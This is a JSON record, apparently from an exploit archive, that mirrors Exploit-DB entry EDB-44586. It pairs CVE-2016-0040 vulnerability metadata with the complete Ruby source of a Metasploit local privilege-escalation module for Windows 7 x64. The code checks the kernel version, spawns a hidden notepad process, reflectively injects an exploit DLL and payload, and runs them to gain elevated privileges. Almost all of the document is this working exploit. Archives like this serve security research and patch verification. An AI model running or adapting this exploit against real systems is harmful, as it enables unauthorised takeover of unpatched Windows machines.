{"exploit":{"id":"EDB-44586","name":"Microsoft Windows 7 SP0/SP1 (x64) - Recieve Notification Exploit (Metasploit)","description":"Microsoft Windows 7 SP0/SP1 (x64) - Recieve Notification Exploit (Metasploit)","cves":["CVE-2016-0040"],"author":"Metasploit","published":"2018-05-04","platform":"windows_x86-64","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/44586","path":"exploits/windows_x86-64/local/44586.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-44586.rb","vulnerabilities":[{"id":"CVE-2016-0040","state":"PUBLISHED","title":null,"titleSource":null,"description":"The kernel in Microsoft Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, and Windows 7 SP1 allows local users to gain privileges via a crafted application, aka \"Windows Elevation of Privilege Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-0040","cvss":{"version":"3.1","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2016-0040"},"updatedAt":"2025-10-21T23:55:55.948Z","retrievedAt":"2026-11-26T14:49:14.858Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-44586.png?v=2","url":"https://exploitbin.com/exploits/EDB-44586","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-44586/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-44586/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core/post/windows/reflective_dll_injection'\nclass MetasploitModule < Msf::Exploit::Local\n  Rank = NormalRanking\n\n  include Msf::Post::File\n  include Msf::Post::Windows::Priv\n  include Msf::Post::Windows::Process\n  include Msf::Post::Windows::FileInfo\n  include Msf::Post::Windows::ReflectiveDLLInjection\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'            => 'Windows WMI Recieve Notification Exploit',\n      'Description'     => %q(\n        This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl.\n        This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.\n      ),\n      'License'         => MSF_LICENSE,\n      'Author'          => [\n        'smmrootkit',      # crash code\n        'de7ec7ed',        # exploit code\n        'de7ec7ed',        # msf module\n      ],\n      'Arch'            => [ARCH_X64],\n      'Platform'        => 'win',\n      'SessionTypes'    => ['meterpreter'],\n      'DefaultOptions'  => {\n        'EXITFUNC' => 'thread'\n      },\n      'Targets' => [\n        ['Windows 7 SP0/SP1', { 'Arch' => ARCH_X64 }]\n      ],\n      'Payload' => {\n        'Space'       => 4096,\n        'DisableNops' => true\n      },\n      'References' => [\n        ['CVE', '2016-0040'],\n        ['MSB', 'MS16-014'],\n        ['URL', 'https://github.com/de7ec7ed/CVE-2016-0040'],\n        ['URL', 'https://github.com/Rootkitsmm/cve-2016-0040'],\n        ['URL', 'https://technet.microsoft.com/en-us/library/security/ms16-014.aspx']\n      ],\n      'DisclosureDate'  => 'Dec 4 2015',\n      'DefaultTarget'   => 0)\n  )\n  end\n\n  def check\n    # Windows 7 SP0/SP1 (64-bit)\n\n    if sysinfo['OS'] !~ /windows/i\n      return Exploit::CheckCode::Unknown\n    end\n\n    file_path = expand_path('%windir%') << '\\\\system32\\\\ntoskrnl.exe'\n    major, minor, build, revision, branch = file_version(file_path)\n    vprint_status(\"ntoskrnl.exe file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}\")\n\n    return Exploit::CheckCode::Safe if build > 7601\n\n    return Exploit::CheckCode::Appears\n  end\n\n  def exploit\n    if is_system?\n      fail_with(Failure::None, 'Session is already elevated')\n    end\n\n    check_result = check\n    if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown\n      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')\n    end\n\n    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86\n      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')\n    end\n\n    print_status('Launching notepad to host the exploit...')\n    notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)\n    begin\n      process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)\n      print_good(\"Process #{process.pid} launched.\")\n    rescue Rex::Post::Meterpreter::RequestError\n      # Reader Sandbox won't allow to create a new process:\n      # stdapi_sys_process_execute: Operation failed: Access is denied.\n      print_status('Operation failed. Trying to elevate the current process...')\n      process = client.sys.process.open\n    end\n\n    print_status(\"Reflectively injecting the exploit DLL into #{process.pid}...\")\n    library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0040', 'CVE-2016-0040.x64.dll')\n    library_path = ::File.expand_path(library_path)\n\n    print_status(\"Injecting exploit into #{process.pid}...\")\n    exploit_mem, offset = inject_dll_into_process(process, library_path)\n\n    print_status(\"Exploit injected. Injecting payload into #{process.pid}...\")\n    payload_mem = inject_into_process(process, payload.encoded)\n\n    # invoke the exploit, passing in the address of the payload that\n    # we want invoked on successful exploitation.\n    print_status('Payload injected. Executing exploit...')\n    process.thread.create(exploit_mem + offset, payload_mem)\n\n    print_good(\"Exploit finished, wait for (hopefully privileged) payload execution to complete.\")\n  end\nend","sha256":"0c93f6c336d5e1a440e13e5a65c5e7dbb68ea75e9143f41e4316ccf81201cc68","bytes":4187,"fetchedAt":"2026-11-26T18:07:44.608Z","encoding":"utf-8 (display only; download retains original bytes)"}